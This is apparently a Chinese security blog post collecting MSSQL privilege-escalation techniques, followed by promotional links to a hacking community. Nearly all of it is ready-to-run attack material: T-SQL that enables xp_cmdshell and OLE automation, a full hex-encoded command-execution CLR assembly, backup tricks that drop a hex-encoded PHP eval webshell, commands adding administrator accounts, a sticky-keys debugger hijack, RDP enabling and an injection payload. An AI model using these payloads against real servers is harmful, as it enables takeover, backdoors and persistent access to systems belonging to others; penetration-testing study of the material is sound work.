MSSQL提权全总结
免责声明
本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。
只供对已授权的目标使用测试,对未授权目标的测试作者不承担责任,均由使用本人自行承担。
文章正文
判断当前用户权限
sa权限:数据库操作,文件管理,命令执行,注册表读取等system。SQLServer数据库的最高权限
db权限:文件管理,数据库操作等权限 users-administrators
public权限:数据库操作 guest-users
判断是否是SA权限
select is_srvrolemember('sysadmin')
判断是否是db_owner权限
select is_member('db_owner')
判断是否是public权限
select is_srvrolemember('public')
使用xp_cmdshell执行系统命令(sa权限)
xp_cmdshell默认在mssql2000中是开启的,在mssql2005之后默认禁止,但未删除
判断xp_cmdshell状态
我们可以在master.dbo.sysobjects中查看xp_cmdshell状态
只用判断存在,利用count(*)即可。
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'xtype为对象类型,xtype='x'这里表示xp_cmdshell的对象类型为扩展存储过程。
存在即返回1
启用xp_cmdshell
如果xp_cmdshell权限没开启的话,我们可以利用EXEC启用xp_cmdshell
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;也可以用如下语句:
execute('sp_configure "show advanced options",1') *#**将该选项的值设置为**1*execute('reconfigure') *#**保存设置*
execute('sp_configure "xp_cmdshell", 1') *#**将**xp_cmdshell**的值设置为**1*
execute('reconfigure') *#**保存设置
恢复被删除的xp_cmdshell
若xp_cmdshell被删除,可以上传xplog70.dll进行恢复删除的xp_cmdshell
Exec master.dbo.sp_addextendedproc 'xp_cmdshell','D:\\xplog70.dll'
利用xp_cmdshell执行命令
通过xp_cmdshell执行系统命令指令如下: (master.. 可以不加)
exec master..xp_cmdshell 'whoami'利用xp_cmdshell写文件
先利用 dir 找到web服务根目录
exec master..xp_cmdshell 'dir'然后通过 echo 将一句话木马写入文件,即可连webshell
exec xp_cmdshell 'echo test>d:\1.txt'
最后命令关闭xp_cmdshell
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 0;RECONFIGURE;使用sp_oacreate+sp_oamethod执行系统命令(sa权限)
当 xp_cmdshell 被删除可以使用这个来提权试试,恢复 sp_oacreate
sp_oacreate 是一个非常危险的存储过程可以删除、复制、移动文件。还能配合 sp_oamethod 来写文件执行 cmd。
使用sp_oacreate提权前提条件:
系统管理员使用sp_configure
启用sp_oacreate
和sp_oamethod
系统存储过程对OLE自动化过程的访问(OLE Automation Procedures)
在效果方面,sp_oacreate、sp_oamethod
两个过程和xp_cmdshell
过程功能类似,因此可以替换使用!
利用条件:
1.已获取到sqlserver sysadmin权限用户的账号与密码且未降权(如2019版本sa用户权限为mssqlserver,已降权)
2.sqlserver允许远程连接
查看sp_oacreate状态
select count(*) from master.dbo.sysobjects where xtype='x' and name='SP_OACREATE';返回1表示存在sp_oacreate
系统存储过程
开启存储过程
先开启存储过程(语句中间没有空格,以下语句是一起执行):
exec sp_configure 'show advanced options', 1;RECONFIGURE;
exec sp_configure 'Ole Automation Procedures',1;
RECONFIGURE;
执行命令
此时可以执行系统命令了,但是使用 sp_oacreate 执行系统命令不回显:
wscript.shell 执行命令declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'whoami'
可以使用以下命令创建用户hack:
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user hack Password@ /add'由于无回显,我们可以将命令执行的结果写的文件中,再将文件中的内容读到表中,最后查询表中的内容
1、执行以下命令
declare @shell INT;
exec sp_oacreate 'wscript.shell',@shell output;
exec sp_oamethod @shell,'run',null,' c:\windows\system32\cmd.exe /c whoami > C:\temp\1.txt ','0','true';
执行打开cmd.exe文件并执行whoami并将结果写入到c:\temp\1.txt中
2、 再将创建的文件1.txt写入到readfile表中,查询表中的内容以验证上面命令是否执行成功
Use model;
bulk insert readfile from 'C:\temp\1.txt'
WITH (
DATAFILETYPE = 'char',
KEEPNULLS
)
select * from readfile
使用CLR执行系统命令(sa权限)
#启用MSSQL CLR功能
exec sp_configure 'show advanced options', 1;RECONFIGURE;
Exec sp_configure 'clr enabled', 1;
RECONFIGURE;
#为了导入了不安全的程序集,我们还需要将数据库标记为安全。
ALTER DATABASE [master] SET TRUSTWORTHY ON;
#导入程序集,单独执行
CREATE ASSEMBLY [WarSQLKit] AUTHORIZATION [dbo] FROM 0x4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000504500004c0103006643f55f0000000000000000e00022200b013000000e00000006000000000000022d0000002000000040000000000010002000000002000004000000000000000400000000000000008000000002000000000000030040850000100000100000000010000010000000000000100000000000000000000000b02c00004f00000000400000b803000000000000000000000000000000000000006000000c00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000080000000000000000000000082000004800000000000000000000002e74657874000000080d000000200000000e000000020000000000000000000000000000200000602e72737263000000b8030000004000000004000000100000000000000000000000000000400000402e72656c6f6300000c0000000060000000020000001400000000000000000000000000004000004200000000000000000000000000000000e42c00000000000048000000020005005c220000540a00000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000be280e00000a72010000706f0f00000a280e00000a7243000070725300007002281000000a28020000066f0f00000a2a1b300600a40100000100001173040000060a731100000a0b076f1200000a026f1300000a03281400000a2d0c076f1200000a036f1500000a076f1200000a176f1600000a076f1200000a176f1700000a076f1200000a166f1800000a076f1200000a176f1900000a076f1200000a176f1a00000a06731b00000a7d010000040706fe0605000006731c00000a6f1d00000a140c076f1e00000a26076f1f00000a076f2000000a6f2100000a0c076f2200000ade390d280e00000a1b8d160000012516725d000070a2251702a2251803a225197291000070a2251a096f2300000aa2282400000a6f0f00000ade00076f2500000a2d1a280e00000a067b010000046f2600000a6f0f00000a3895000000731b00000a130408281400000a2d091104086f2700000a26067b010000046f2800000a2c20110472970000706f2700000a261104067b010000046f2600000a6f2700000a26280e00000a1c8d16000001251602a2251703a2251872af000070a22519076f2500000a13051205282900000aa2251a7291000070a2251b1104252d0426142b056f2600000aa2282400000a6f0f00000a067b010000046f2600000a2a011000000000870021a80039100000011e02282a00000a2a4e027b01000004046f2b00000a6f2700000a262a42534a4201000100000000000c00000076322e302e35303732370000000005006c00000038030000237e0000a4030000a804000023537472696e6773000000004c080000e80000002355530034090000100000002347554944000000440900001001000023426c6f620000000000000002000001571502000902000000fa013300160000010000001c000000030000000100000005000000050000002b0000000d000000010000000100000003000000010000000000b1020100000000000600ed01ae0306005a02ae03060038019b030f00ce03000006004c01cd020600d001cd020600b101cd0206004102cd0206000d02cd0206002602cd0206007901cd0206009401cd0206003004c6020a0063014e030e0009049b030600df02c602060020036e0406001d01ae030e00ee039b030a007a044e030a0015014e0306008e02c6020e00f7029b030e00c4009b030e0035039b0306000803360006001503360006002700c602000000002d00000000000100010001001000dd030000350001000100030110000100000035000100040006006404740050200000000096005e007800010080200000000096008b001a00020040220000000086189503060004004022000000008618950306000400482200000000830016007d000400000001007d0000000100e400000002001f04000001002e03000002000404090095030100110095030600190095030a00290095031000310095031000390095031000410095031000490095031000510095031000590095031000610095031000710095030600910095030600a1000c011500a90096001000b10029041a007900950306007900e9022d00b900d7001000b10098043200b90011041000b90085043700b900b4003c00b90078023700b9007b033700b90049043700890095030600c90095034200790066004800790043044e007900ed000600790069035200d900810057007900370406008100a8005700b10029045b0079009b00610069008c025700890001016500890095026100e1008c02570069009503060099004c005700200063000b012e000b0084002e0013008d002e001b00ac002e002300b5002e002b00cb002e003300cb002e003b00cb002e004300d1002e004b00e1002e005300cb002e005b00fe0063006b000b012000048000000100000000000000000000000000a00200000200000000000000000000006b005500000000000200000000000000000000006b004000000000000200000000000000000000006b00c60200000000030002000000003c3e635f5f446973706c6179436c617373315f30003c52756e436f6d6d616e643e625f5f3000496e743332003c4d6f64756c653e0053797374656d2e494f0053797374656d2e44617461006765745f44617461006d73636f726c696200436d6445786563006164645f4f757470757444617461526563656976656400636d640052656164546f456e640052756e436f6d6d616e640053656e64006765745f45786974436f6465006765745f4d657373616765007365745f57696e646f775374796c650050726f6365737357696e646f775374796c65007365745f46696c654e616d650066696c656e616d6500426567696e4f7574707574526561644c696e6500417070656e644c696e65006765745f506970650053716c5069706500436f6d70696c657247656e6572617465644174747269627574650044656275676761626c6541747472696275746500417373656d626c795469746c654174747269627574650053716c50726f63656475726541747472696275746500417373656d626c7954726164656d61726b41747472696275746500417373656d626c7946696c6556657273696f6e41747472696275746500417373656d626c79436f6e66696775726174696f6e41747472696275746500417373656d626c794465736372697074696f6e41747472696275746500436f6d70696c6174696f6e52656c61786174696f6e7341747472696275746500417373656d626c7950726f6475637441747472696275746500417373656d626c79436f7079726967687441747472696275746500417373656d626c79436f6d70616e794174747269627574650052756e74696d65436f6d7061746962696c697479417474726962757465007365745f5573655368656c6c4578656375746500546f537472696e67006765745f4c656e6774680057617253514c4b69744d696e696d616c0057617253514c4b69744d696e696d616c2e646c6c0053797374656d0053797374656d2e5265666c656374696f6e00457863657074696f6e006765745f5374617274496e666f0050726f636573735374617274496e666f0053747265616d526561646572005465787452656164657200537472696e674275696c6465720073656e646572004461746152656365697665644576656e7448616e646c6572004d6963726f736f66742e53716c5365727665722e536572766572006765745f5374616e646172644572726f72007365745f52656469726563745374616e646172644572726f72002e63746f720053797374656d2e446961676e6f73746963730053797374656d2e52756e74696d652e436f6d70696c6572536572766963657300446562756767696e674d6f6465730053746f72656450726f63656475726573004461746152656365697665644576656e744172677300617267730050726f63657373007365745f417267756d656e747300617267756d656e747300436f6e636174004f626a6563740057616974466f7245786974005374617274007365745f52656469726563745374616e646172644f7574707574007374644f75747075740053797374656d2e546578740053716c436f6e74657874007365745f4372656174654e6f57696e646f770049734e756c6c4f72456d707479000000004143006f006d006d0061006e0064002000690073002000720075006e006e0069006e0067002c00200070006c006500610073006500200077006100690074002e00000f63006d0064002e00650078006500000920002f006300200000334f00530020006500720072006f00720020007700680069006c006500200065007800650063007500740069006e006700200000053a002000001753007400640020006f00750074007000750074003a0000372000660069006e00690073006800650064002000770069007400680020006500780069007400200063006f006400650020003d0020000000c1b0e79eb8eb6348be1e0c1d83c2d05800042001010803200001052001011111042001010e04000012550500020e0e0e0c0706120c123d0e1241124508042000125d040001020e0420010102052001011161052002011c180520010112650320000204200012690320000e0500010e1d0e0320000805200112450e08b77a5c561934e08903061245040001010e062002011c124d0801000800000000001e01000100540216577261704e6f6e457863657074696f6e5468726f7773010801000200000000001501001057617253514c4b69744d696e696d616c00000501000000000f01000a457975702043454c494b00001c010017687474703a2f2f6579757063656c696b2e636f6d2e747200000c010007312e302e302e3000000401000000d82c00000000000000000000f22c0000002000000000000000000000000000000000000000000000e42c0000000000000000000000005f436f72446c6c4d61696e006d73636f7265652e646c6c0000000000ff25002000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001001000000018000080000000000000000000000000000001000100000030000080000000000000000000000000000001000000000048000000584000005c03000000000000000000005c0334000000560053005f00560045005200530049004f004e005f0049004e0046004f0000000000bd04effe00000100000001000000000000000100000000003f000000000000000400000002000000000000000000000000000000440000000100560061007200460069006c00650049006e0066006f00000000002400040000005400720061006e0073006c006100740069006f006e00000000000000b004bc020000010053007400720069006e006700460069006c00650049006e0066006f0000009802000001003000300030003000300034006200300000001a000100010043006f006d006d0065006e007400730000000000000022000100010043006f006d00700061006e0079004e0061006d00650000000000000000004a0011000100460069006c0065004400650073006300720069007000740069006f006e0000000000570061007200530051004c004b00690074004d0069006e0069006d0061006c0000000000300008000100460069006c006500560065007200730069006f006e000000000031002e0030002e0030002e00300000004a001500010049006e007400650072006e0061006c004e0061006d0065000000570061007200530051004c004b00690074004d0069006e0069006d0061006c002e0064006c006c00000000005400180001004c006500670061006c0043006f007000790072006900670068007400000068007400740070003a002f002f006500790075007000630065006c0069006b002e0063006f006d002e007400720000002a00010001004c006500670061006c00540072006100640065006d00610072006b00730000000000000000005200150001004f0072006900670069006e0061006c00460069006c0065006e0061006d0065000000570061007200530051004c004b00690074004d0069006e0069006d0061006c002e0064006c006c000000000036000b000100500072006f0064007500630074004e0061006d0065000000000045007900750070002000430045004c0049004b0000000000340008000100500072006f006400750063007400560065007200730069006f006e00000031002e0030002e0030002e003000000038000800010041007300730065006d0062006c0079002000560065007200730069006f006e00000031002e0030002e0030002e003000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000c000000043d00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 WITH PERMISSION_SET = UNSAFE;
#创建存储过程,单独执行
CREATE PROCEDURE sp_cmdExec @Command [nvarchar](4000) WITH EXECUTE AS CALLER AS EXTERNAL NAME WarSQLKit.StoredProcedures.CmdExec;
#执行命令
EXEC sp_cmdExec 'whoami';
#删除该程序集
DROP PROCEDURE sp_cmdExec;DROP ASSEMBLY [WarSQLKit];通过备份上传木马getshell(dbo权限)
备份拿 shell 也就涉及到了权限的问题,SA 权限不用说,没有降权的话基本能做任何事情了,它数据库权限是 db_owner
,当然其他用户如果也拥有 db_owner
基本也可以通过备份拿下 shell,但是在设置目录权限后就不行了。
路径的寻找
需要路径的我们一般有几个思路:
报错寻找
字典
旁站信息收集
调用储存过程来搜索
读配置文件
这里我们着重讨论一下储存过程也就是这些函数来找我们的网站根目录。一般我们可以用 xp_cmdshell
、xp_dirtree
、xp_dirtree
、xp_subdirs
execute master..xp_dirtree 'c:',1 //只列 c:\ 文件夹
execute master..xp_dirtree 'c:',1,1 //列 c:\ 文件夹加文件
通过执行 xp_dirtree
返回我们传入的参数,如果没有回显的话,可以这样创建一个临时的表插入
id=1;insert into tmp(dir,num,num1) execute master..xp_dirtree 'c:',1,1
xp_cmdshell
寻找路径:
这个 xp_cmdshell
找起来更加方便我们调用cmd的命令去搜索,比如我的web目录有个1.aspx
c:\www\1.aspx
所以只需要建立一个表,存在一个 char 字段就可以了。
id=1;CREATE TABLE cmdtmp (dir varchar(8000));id=1;insert into cmdtmp(dir) exec master..xp_cmdshell 'for /r c:\ %i in (1*.aspx) do @echo %i'
LOG备份Getshell
备份文件小,不容易出现脏数据,推荐使用
无论是LOG备份还是差异备份,都是利用备份的过程中写入一句话木马
SQLServer常见的备份策略:
每周一次完整备份
每天一次差异备份
每小时一次事务日志备份
利用前提:
目标机器存在数据库备份文件 ,也就是如下,我们利用test数据库的话,则需要该test数据库存在数据库备份文件
知道网站的绝对路径
该注入支持堆叠注入
create table cmd (a image); #创建一张表cmd,只有一个列 a,类型为image
backup log 数据库名 to disk= 'C:\phpstudy\WWW\1.php' with init; #备份表到指定路径
insert into cmd (a) values(0x3c3f70687020406576616c28245f504f53545b785d293b3f3e); #插入一句话到cmd表里
backup log 数据库名 to disk='C:\phpstudy\WWW\2.php'; #把操作日志备份到指定文件
drop table cmd; #删除cmd表
第四行的 0x3c3f70687020406576616c28245f504f53545b785d293b3f3e 是一句话木马 <?php @eval($_POST[x]);?> 的16进制表示
会在目标网站根目录下生成1.php和2.php文件,其中1.php 保存数据库,2.php就是我们需要连接的木马文件。
用菜刀连接即可
差异备份Getshell
注:差异备份有概率会把网站搞崩,所以不建议使用差异备份
利用前提:
知道网站的绝对路径 C:phpstudyWWW
该注入支持堆叠注入
注:以下语句一条一条执行
create table [dbo].[test] ([cmd] [image])declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x786965 backup log @a to disk = @s with init,no_truncate
insert into [test](cmd) values(0x3c3f70687020406576616c28245f504f53545b785d293b3f3e)
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x43003A005C00700068007000730074007500640079005C005700570057005C007300680065006C006C002E00700068007000 backup log @a to disk=@s with init,no_truncate
Drop table [test]
这里第二行的 0x786965,是字符 xie 的16进制表示,这里随便填都可以
第三行的 0x3c3f70687020406576616c28245f504f53545b785d293b3f3e 是一句话木马 <?php @eval($_POST[x]);?> 的16进制表示
第四行的0x43003A005C00700068007000730074007500640079005C005700570057005C007300680065006C006C002E00700068007000是 C:phpstudyWWWshell.php 的16进制表示
然后会在目标网站根目录下生成shell.php木马文件
沙盒提权
沙盒模式是一种安全功能,用于限制数据库只对控件和字段属性中的安全且不含恶意代码的表达式求值。如果表达式不使用可能以某种方式损坏数据的函数或属性(如Kill 和 Shell 之类的函数),则可认为它是安全的。当数据库以沙盒模式运行时,调用这些函数的表达式将会产生错误消息。
沙盒提权的原理就是jet.oledb
(修改注册表)执行系统命令。数据库通过查询方式调用mdb
文件,执行参数,绕过系统本身自己的执行命令,实现mdb
文件执行命令。
利用前提:
1.需要
Microsoft.Jet.OLEDB.4.0
一般在32位系统才可以,64位机需要12.0,较复杂
2.dnary.mdb
和ias.mdb
两个文件 在win2003
上默认存在,也可自行准备
xp_regwrite
可用、关闭沙盒模式
复现环境
SQL Server2008 (Win2003-x32)IP: 192.168.112.173
1)测试 jet.oledb 能否使用
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c whoami")')在SQL2005默认是禁用Ad Hoc Distributed,执行命令时,会提示错误。需要开启
2)开启Ad Hoc Distributed Queries组件
exec sp_configure 'show advanced options',1 ;reconfigure ;
exec sp_configure 'Ad Hoc Distributed Queries',1 ;
reconfigure;
类似的,关闭组件命令
exec sp_configure 'show advanced options',1 ;reconfigure ;
exec sp_configure 'Ad Hoc Distributed Queries',0 ;
reconfigure;
3)关闭沙盒模式
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;沙盒模式`SandBoxMode`参数含义(默认是2)
0:在任何所有者中禁止启用安全模式
1:为仅在允许范围内
2:必须在access模式下
3:完全开启
查看命令:
exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode'关闭命令:
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',24)执行命令
Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c whoami >c:\\sqltest.txt ")');在win2003的c盘上看到已经创建了该文件,命令执行成功
同样,可以创建用户
Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user testq QWEasd123 /add")');Select * From OpenRowSet('microsoft.jet.oledb.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net localgroup administrators testq /add")');
Select * From OpenRowSet('microsoft.jet.oledb.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user testq")');
可信数据库(DBO用户提权到DBA)
1 预设存在漏洞的配置
打开SQL Server Management Studio,登录sa用户 。
点击“新建查询”,创建数据库名为“TestDb”。
CREATE DATABASE TestDb;新建测试用户TestUser。
CREATE LOGIN TestUser WITH PASSWORD = 'Passw0rd';使用如下的TSQL语句,数据库TestDb的db_owner权限赋予给用户TestUser。
USE TestDbALTER LOGIN [TestUser] with default_database = [TestDb];
CREATE USER [TestUser] FROM LOGIN [TestUser];
EXEC sp_addrolemember [db_owner], [TestUser];
设置TestDb数据库为可信,这个是漏洞存在的关键。
ALTER DATABASE TestDb SET TRUSTWORTHY ON下面的查询语句会返回SQL Server实例中所有的数据库中,可信数据库的标记情况,is_trustworthy_on开关为1即可信。可以看到TestDb已设置为可信数据库。
SELECT a.name,b.is_trustworthy_onFROM master..sysdatabases as a
INNER JOIN sys.databases as b
ON a.name=b.name;
2漏洞利用过程
使用TestUser用户登录数据库。
尝试开启xp_cmdshell,可以看到权限不够。
EXEC sp_configure 'show advanced options','1' --确保show advances options 的值为1RECONFIGURE
GO
EXEC sp_configure 'xp_cmdshell',1 --开启xp_cmdshell
RECONFIGURE
GO
查询是否sysadmin角色权限,显示0,还不是sysadmin权限。
SELECT is_srvrolemember('sysadmin')创建存储过程sp_elevate_me。
USE TestDbGO
CREATE PROCEDURE sp_elevate_me
WITH EXECUTE AS OWNER
AS
EXEC sp_addsrvrolemember 'TestUser','sysadmin'
GO
接下来,执行上述sp_elevate_me存储过程,给TestUser用户添加sysadmin角色。
USE TestDbEXEC sp_elevate_me
再次尝试开启xp_cmdshell,并且执行whoami。看到漏洞利用成功了。
3 msf自动化提权
msf已经内置了攻击模块
auxiliary/admin/mssql/mssql_escalate_dbowner
,直接调用即可。如果是从sql注入点提权,就使用模块
mssql_escalate_dbowner_sqli。
我的攻击参数配置如下:
use auxiliary/admin/mssql/mssql_escalate_dbownerSET RHOSTS 192.168.234.130
SET USERNAME TestUser
SET PASSWORD Passw0rd
run
用户模拟(DBO用户提权到DBA)
1预设存在漏洞的配置
使用sa帐户登录SQL Server,创建4个新用户。
CREATE LOGIN MyUser1 WITH PASSWORD = 'MyPassword!';CREATE LOGIN MyUser2 WITH PASSWORD = 'MyPassword!';
CREATE LOGIN MyUser3 WITH PASSWORD = 'MyPassword!';
CREATE LOGIN MyUser4 WITH PASSWORD = 'MyPassword!';
赋予用户MyUser1权限模拟 MyUser2, MyUser3,及sa,这个是漏洞存在的关键。在实战中,未必能遇到模拟sa用户特权的情况,但如果开发人员模拟了MyUser2或者MyUser3,就能从MyUser1访问其它数据库资源。
USE master;GRANT IMPERSONATE ON LOGIN::sa to [MyUser1];
GRANT IMPERSONATE ON LOGIN::MyUser2 to [MyUser1];
GRANT IMPERSONATE ON LOGIN::MyUser3 to [MyUser1];
GO
2漏洞利用过程
切换MyUser1用户登录数据库。
执行如下SQL语句,可以快速找到允许被模拟的用户列表。
SELECT distinct b.nameFROM sys.server_permissions a
INNER JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE'
执行下面语言,在执行了EXECUTE AS LOGIN语句后,成功模拟sa用户特权。
SELECT SYSTEM_USERSELECT IS_SRVROLEMEMBER('sysadmin')
EXECUTE AS LOGIN = 'sa'
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
3 msf自动化提权
同样的,这个漏洞也有对应的msf攻击模块。如果是从sql注入点提权,就选择mssql_escalate_execute_as_sqli。
我的攻击参数配置如下:
use auxiliary/admin/mssql/mssql_escalate_execute_asset RHOSTS 192.168.234.130
set USERNAME MyUser1
set PASSWORD MyPassword!
run
映像劫持提权
2008以上,05未测试
通过使用xp_regwrite
存储过程对注册表进行修改,替换成任意值,造成镜像劫持。
前提条件:
1.未禁止注册表编辑(即写入功能)
2.xp_regwrite启用
复现
1)查看xp_regwrite是否启用
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_regwrite'2)xp_regwrite开启与关闭
EXEC sp_configure 'show advanced options', 1RECONFIGURE
EXEC sp_configure 'xp_regwrite',1
RECONFIGURE
3)利用regwrite函数修改组注册表进行劫持
EXEC master..xp_regwrite @rootkey='HKEY_LOCAL_MACHINE',@key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.EXE',@value_name='Debugger',@type='REG_SZ',@value='c:\windows\system32\cmd.exe'4)查看是否修改成功文件
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','Debugger'显示已修改为cmd.exe
在目标主机上查看,结果一致
5)验证是否成功
连按5次粘滞键,弹出cmd框
拓展
上面对只是对粘滞键进行修改,类似的,可以在注册表中进行其他操作
删除指定注册表键值对
删除粘滞键的键值
xp_regdeletekey 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe'到目标主机上查看,发现sethc.exe在注册表中的值已删除
开启3389端口
这里的xp_regwrite
为向注册表中写数据
exec master..xp_cmdshell "REG ADD 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server' /v fDenyTSConnections /t REG_DWORD /d 0"
在注册表中也可以看到3389端口被打开
JOB提权
原理是创建一个任务X,并执行命令,对于命令执行后的结果将返回给文档job.txt
详细过程
1、 启动sqlagent服务
exec master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT'2、 创建任务X,X为任务名称并执行命令,命令执行后的结果将返回给文档job.txt
use msdbexec sp_delete_job null,'x'
exec sp_add_job 'x'
exec sp_add_jobstep null,'x',null,'1','cmdexec','cmd /c "net user hack1 hack1 /add &net localgroup administrators hack1 /add>c:/job.txt"'
exec sp_add_jobserver null,'x',@@servername
exec sp_start_job 'x';
3、再查看用户发现hack1用户存在且已经在管理员组里面
无法堆叠的情况下执行系统命令
https://blog.51cto.com/u_15127627/4024124
那么 exec 真的需要多句才能执行吗?,来直接看 payload 吧
if 语句的表达式如下,也就是说,我们是可以借助 if 来执行 sql_statement,那么只要你能在你的注入点构造一个 if 出来,不需要环境支持堆叠也可以达到堆叠的效果。
IF Boolean_expression{ sql_statement | statement_block }
[ ELSE
{ sql_statement | statement_block } ]
完整的 payload
select 1 where 1=1 if 1=1 execute('exec sp_configure ''show advanced options'',1;reconfigure;exec sp_configure ''xp_cmdshell'', 1;reconfigure;exec xp_cmdshell
''whoami''');
参考
https://mp.weixin.qq.com/s/y_h3GCWcYz7EW11Bz5OkLg
https://www.cnblogs.com/hetianlab/p/16579130.html
https://www.freebuf.com/vuls/276814.html
https://www.anquanke.com/post/id/200154
https://www.geekby.site/2021/01/mssql%E6%B3%A8%E5%85%A5%E4%B8%8E%E6%8F%90%E6%9D%83%E6%96%B9%E6%B3%95%E6%95%B4%E7%90%86/
技术交流
交流群
关注公众号回复“加群”,添加Z2OBot 小K自动拉你加入Z2O安全攻防交流群分享更多好东西。
知识星球
星球不定时更新最新漏洞复现,手把手教你,同时不定时更新POC、内外网渗透测试骚操作。涉及方向包括Web渗透、免杀绕过、内网攻防、代码审计、应急响应、云安全等
关注我们
关注福利:
回复“0831" 获取github网络安全仓库
回复“app" 获取 app渗透和app抓包教程
回复“渗透字典" 获取 针对一些字典重新划分处理,收集了几个密码管理字典生成器用来扩展更多字典的仓库。
回复“书籍" 获取 网络安全相关经典书籍电子版pdf